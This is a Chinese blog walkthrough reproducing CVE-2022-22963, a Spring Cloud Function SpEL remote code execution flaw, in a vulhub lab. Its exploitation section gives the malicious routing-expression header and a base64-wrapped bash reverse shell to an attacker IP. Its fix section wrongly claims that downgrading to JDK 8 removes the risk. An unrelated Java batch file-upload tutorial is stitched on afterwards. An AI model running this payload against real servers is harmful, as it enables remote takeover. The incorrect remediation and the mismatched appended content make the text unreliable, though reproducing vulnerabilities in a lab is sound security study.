CVE-2022-22963 Spring Cloud Function SpEL 远程代码执行 漏洞复现

目录

0x01 声明:

0x02 简介:

0x03 漏洞概述:

0x04 影响版本:

0x05 环境搭建:

Docker环境:

漏洞环境:

0x06 漏洞复现

0x07 流量分析:

0x08 修复建议:


0x01 声明:

        仅供学习参考使用,请勿用作违法用途,否则后果自负。

0x02 简介:

        SpringCloud 是一套分布式系统的解决方案,实现就是函数式编程,在视频转码、音视频转换、数据仓库ETL等与状态相关度低的领域运用的比较多。开发者无需关注服务器环境运维等问题上,专注于自身业务逻辑实现即可。

0x03 漏洞概述:

        在Spring Cloud Function版本3.1.6,3.2.2和更早的不受支持的版本中,当使用路由功能时,用户可以提供特制的SpEL作为路由表达式,这可能导致远程执行代码和访问本地资源。

0x04 影响版本:

        3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2

0x05 环境搭建:

        Docker环境:

         参考这篇文章(Docker&Docker-compose环境安装_Evan Kang的博客-优快云博客

        漏洞环境:

               1、下载vulhub(Vulhub环境压缩包-网络安全文档类资源-优快云文库

       (GitHub - vulhub/vulhub: Pre-Built Vulnerable Environments Based on Docker-Compose

                2、进入vulhub/spring/CVE-2022-22963环境

                

                3、启动docker环境

                 4、访问系统(这是一个报错页面不用关系)

0x06 漏洞复现

        访问时用Burp拦截。

         利用POC:

                修改请求方式:

​POST /functionRouter HTTP/1.1

                添加请求体内容:

spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("xxxx")

xxxx:(为要执行的命令)

                如图:

                 上面执行的为反弹shell命令,经过base64加密之后的内容:(不加密无法成功的)

bash -c {echo,xxx}|{base64,-d}|{bash,-i}

                        ||(Base64)

bash -i >& /dev/tcp/192.168.16.129/1234 0>&1   

结果:

0x07 流量分析:

        请求特征:

0x08 修复建议:

        1、安装官方的补丁

        2、降级到 JDK 8 或更低版本,这将消除被攻击的可能性。

### Java 实现批量文件上传 为了满足批量文件上传的需求,可以利用Spring Boot框架来构建后端接口。前端可以选择`Vue.js`或者其他技术栈发送请求给这个API。下面是一个简单的例子展示如何通过Java实现批量文件上传。 #### 创建控制器类处理文件上传请求 ```java import org.springframework.web.bind.annotation.*; import org.springframework.web.multipart.MultipartFile; @RestController @RequestMapping("/api/files") public class FileUploadController { @PostMapping("/uploadMultipleFiles") public String uploadMultipleFiles(@RequestParam("files") MultipartFile[] files) { StringBuilder fileNames = new StringBuilder(); try { for (MultipartFile file : files) { if (!file.isEmpty()) { byte[] bytes = file.getBytes(); // 将文件保存到指定位置... fileNames.append(file.getOriginalFilename()).append(", "); } } return "Successfully uploaded -> " + fileNames.toString().trim().replaceAll(", $", ""); } catch (Exception e) { return "Failed to upload multiple files!"; } } } ``` 此代码片段定义了一个RESTful API `/api/files/uploadMultipleFiles` 接收多个文件作为参数并尝试逐个保存它们[^1]。 #### 配置multipart设置 为了让应用程序能够接收较大的文件以及多份文件,在application.properties中配置如下属性: ```properties spring.servlet.multipart.max-file-size=10MB spring.servlet.multipart.max-request-size=50MB ``` 这些设置允许最大单个文件大小为10 MB,整个HTTP请求的最大尺寸为50 MB。对于更大的文件或者更多的文件数量,可以根据实际情况调整这两个值[^2]。 #### 客户端调用示例(基于JavaScript) 如果使用的是现代浏览器环境下的HTML表单提交,则可以直接在页面上创建一个多选文件输入框,并通过AJAX异步上传至服务器;如果是更复杂的场景比如移动应用或其他平台,则可能需要用到特定SDK或库来进行网络通信操作。 ```javascript const formData = new FormData(); Array.from(document.getElementById('fileInput').files).forEach((file) => { formData.append('files', file); }); fetch('/api/files/uploadMultipleFiles', { method: 'POST', body: formData }) .then(response => response.json()) .then(result => console.log('Success:', result)) .catch(error => console.error('Error:', error)); ``` 这段脚本展示了怎样收集来自用户的选择并将所选中的所有文件打包成FormData对象再发送出去。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Kang_Sec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值